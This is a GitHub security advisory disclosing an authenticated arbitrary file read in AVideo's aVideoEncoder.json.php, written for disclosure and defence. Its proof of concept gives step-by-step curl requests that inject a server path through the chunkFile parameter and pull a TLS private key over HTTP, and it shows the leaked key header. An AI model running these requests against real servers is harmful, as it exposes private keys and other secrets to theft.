Skip to content

AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`

High severity GitHub Reviewed Published Mar 19, 2026 in WWBN/AVideo • Updated Mar 25, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.

For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.

I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.

Affected Versions / Commit

Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.

Preconditions

  • Authenticated account with upload permission.
  • Attacker owns at least one editable video record.
  • Target local file is readable by the web application user.

Steps to Reproduce

  1. Log in as an upload-capable low-privileged user.
  2. Create any attacker-owned video via the normal upload endpoint to obtain videos_id and filename.
  3. Send a POST request to aVideoEncoder.json.php with the attacker's own videos_id, an allowed format, and a server-local chunkFile path.
  4. Download the resulting media object from /videos/<filename>/<filename>.mp4.

Proof of Concept

The included poc.py automates the exploit against the local instance.

Manual reproduction:

# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
  -d 'user=attacker&pass=UserPass123!' \
  http://127.0.0.1/objects/login.json.php >/dev/null

# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
  -F 'upl=@poc.mp4;type=video/mp4' \
  http://127.0.0.1/view/mini-upload-form/upload.php

# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}

# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
  -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
  http://127.0.0.1/objects/aVideoEncoder.json.php

# 4. Retrieve the copied file over HTTP
curl -s \
  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head

Observed Result

The final GET returned the contents of the local TLS private key:

-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 19, 2026
Published to the GitHub Advisory Database Mar 19, 2026
Reviewed Mar 19, 2026
Published by the National Vulnerability Database Mar 23, 2026
Last updated Mar 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

CVE ID

CVE-2026-33354

GHSA ID

GHSA-4jw9-5hrc-m4j6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.